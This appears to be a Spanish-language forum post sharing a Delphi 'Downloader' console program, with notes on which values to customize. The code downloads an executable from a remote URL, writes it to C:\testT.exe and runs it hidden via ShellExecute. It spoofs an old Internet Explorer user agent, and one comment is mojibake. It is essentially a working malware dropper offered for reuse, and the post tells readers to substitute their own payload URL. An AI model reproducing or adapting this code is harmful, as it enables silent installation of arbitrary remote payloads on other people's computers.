Valores a personalizar
Params.FileURL := '[Enlace externo eliminado para invitados]';
---> Reemplazar por la URL con el archivo a descargar
Data.SaveToFile('c:\testT.exe');
---> Reemplazar con la ruta donde se quiere guardar el archivo
ShellExecute(0, 'open', 'C:\testT.exe', nil, nil, 0) ;
---> Establecer la misma ruta de guardado para poder lanzar la ejecución.
El codigo en cuestion, un Console Application bastante bonito
Código: Seleccionar todo
program Downloader;
uses
Windows,
SysUtils,
Classes,
WinInet;
type
TDownloadParams = record
FileURL, // Donde se guardara el valor de URL
Proxy, // Donde se guardara el valor de proxy (bypass)
ProxyBypass,
AuthUserName, // Tipo de autorización Basica
AuthPassword: String; // Tipo de autorización Basica
DownloadFrom, // Donde se guardara el valor de la fuente
NeedDataSize: DWORD; // Donde se guardara el valor de los bytes necesitados
end;
function ShellExecute(hWnd: LongWord; Operation, FileName, Parameters,
Directory: PChar; ShowCmd: Integer): HINST; stdcall; external 'shell32.dll' name 'ShellExecuteA';
function DownloadFileEx(
Params: TDownloadParams; OutputData: TStream): Boolean;
function DelHttp(URL: String): String;
var
HttpPos: Integer;
begin
HttpPos := Pos('http://', URL);
if HttpPos > 0 then Delete(Url, HttpPos, 7);
Result := Copy(Url, 1, Pos('/', Url) - 1);
if Result = '' then Result := URL;
end;
const
Accept = 'Accept: */*' + sLineBreak; //Iniciamos construyendo un encabezado de solicitud HTTP
ProxyConnection = 'Proxy-Connection: Keep-Alive' + sLineBreak;
LNG = 'Accept-Language: ru' + sLineBreak;
AGENT =
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; ' +
'Windows NT 5.1; SV1; .NET CLR 2.0.50727)' + sLineBreak;
var
FSession, FConnect, FRequest: HINTERNET;
FHost, FScript, SRequest, ARequest: String;
Buff, IntermediateBuffer: array of Byte;
BytesRead, Res, Len,
FilePosition, OpenTypeFlags, ContentLength: Cardinal;
begin
Result := False;
ARequest := Params.FileURL;
// Se borra la primera respuesta y se prepara la captura del request
FHost := DelHttp(ARequest);
FScript := ARequest;
Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
// Se configura temporalmente la conexion para simular un proxy
if Params.Proxy = '' then
OpenTypeFlags := INTERNET_OPEN_TYPE_PRECONFIG
else
OpenTypeFlags := INTERNET_OPEN_TYPE_PROXY;
FSession := InternetOpen('',
OpenTypeFlags, PChar(Params.Proxy), PChar(Params.ProxyBypass), 0);
if not Assigned(FSession) then Exit;
try
// Ïîïûòêà ñîåäèíåíèÿ ñ ñåðâåðîì
FConnect := InternetConnect(FSession, PChar(FHost),
INTERNET_DEFAULT_HTTP_PORT, PChar(Params.AuthUserName),
PChar(Params.AuthPassword), INTERNET_SERVICE_HTTP, 0, 0);
if not Assigned(FConnect) then Exit;
try
// Se envia nuestra solicitud HTTP GET
FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), nil,
'', nil, 0, 0);
// Se establece el http request con sus valores de header
HttpAddRequestHeaders(FRequest, Accept,
Length(Accept), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, ProxyConnection,
Length(ProxyConnection), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, LNG,
Length(LNG), HTTP_ADDREQ_FLAG_ADD);
HttpAddRequestHeaders(FRequest, AGENT,
Length(AGENT), HTTP_ADDREQ_FLAG_ADD);
// Se organizan los elementos de la solicitud HTTP
Len := 0;
Res := 0;
SRequest := ' ';
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
if Len > 0 then
begin
SetLength(SRequest, Len);
HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest[1], Len, Res);
end;
if not Assigned(FConnect) then Exit;
try
// Si no funciona, sale
if not (HttpSendRequest(FRequest, nil, 0, nil, 0)) then Exit;
// Al contenido se le asigna un pointer
ContentLength := InternetSetFilePointer(
FRequest, 0, nil, FILE_END, 0);
if ContentLength = DWORD(-1) then
ContentLength := 0;
{
Len := 4;
ContentLength := 0;
HttpQueryInfo(FRequest, HTTP_QUERY_CONTENT_LENGTH or
HTTP_QUERY_FLAG_NUMBER, @ContentLength, Len, Res);
}
// Establecemos un pointer para iniciar la descarga
FilePosition := InternetSetFilePointer(
FRequest, Params.DownloadFrom, nil, FILE_BEGIN, 0);
if FilePosition = DWORD(-1) then
FilePosition := 0;
// Se establecen parametros de archivo y tamaño
if Params.NeedDataSize = 0 then
Params.NeedDataSize := ContentLength;
if Integer(FilePosition) + Params.NeedDataSize >
Integer(ContentLength) then
Params.NeedDataSize := ContentLength - FilePosition;
// Se establecen parametros de buffer
if Params.NeedDataSize <= 0 then
begin
SetLength(IntermediateBuffer, 8192);
ContentLength := 0;
Params.NeedDataSize := 0;
BytesRead := 0;
while InternetReadFile(FRequest, @IntermediateBuffer[0],
1024, BytesRead) do
if BytesRead > 0 then
begin
SetLength(Buff, ContentLength + BytesRead);
Move(IntermediateBuffer[0], Buff[ContentLength], BytesRead);
Inc(ContentLength, BytesRead);
end
else
begin
Params.NeedDataSize := ContentLength;
Break;
end;
end
else
begin
// Se establece lenght para iniciar la lectura del archivo
SetLength(Buff, Params.NeedDataSize);
if not InternetReadFile(FRequest, @Buff[0],
Params.NeedDataSize, BytesRead) then Exit;
end;
//los datos resultantes output se escriben en un nuevo archivo
OutputData.Write(Buff[0], Params.NeedDataSize);
Result := True;
finally
InternetCloseHandle(FRequest);
end;
finally
InternetCloseHandle(FConnect);
end;
finally
InternetCloseHandle(FSession);
end;
end;
var
Params: TDownloadParams;
Data: TMemoryStream;
begin
try
ZeroMemory(@Params, SizeOf(TDownloadParams));
Params.FileURL := 'http://www.freewebtown.com/pateame11/CALC.EXE';
Data := TMemoryStream.Create;
try
if DownloadFileEx(Params, Data) then
Data.SaveToFile('c:\testT.exe');
finally
Data.Free;
end;
except
on E:Exception do
Writeln(E.Classname, ': ', E.Message);
end;
SLEEP(500);
ShellExecute(0, 'open', 'C:\testT.exe', nil, nil, 0) ;
end.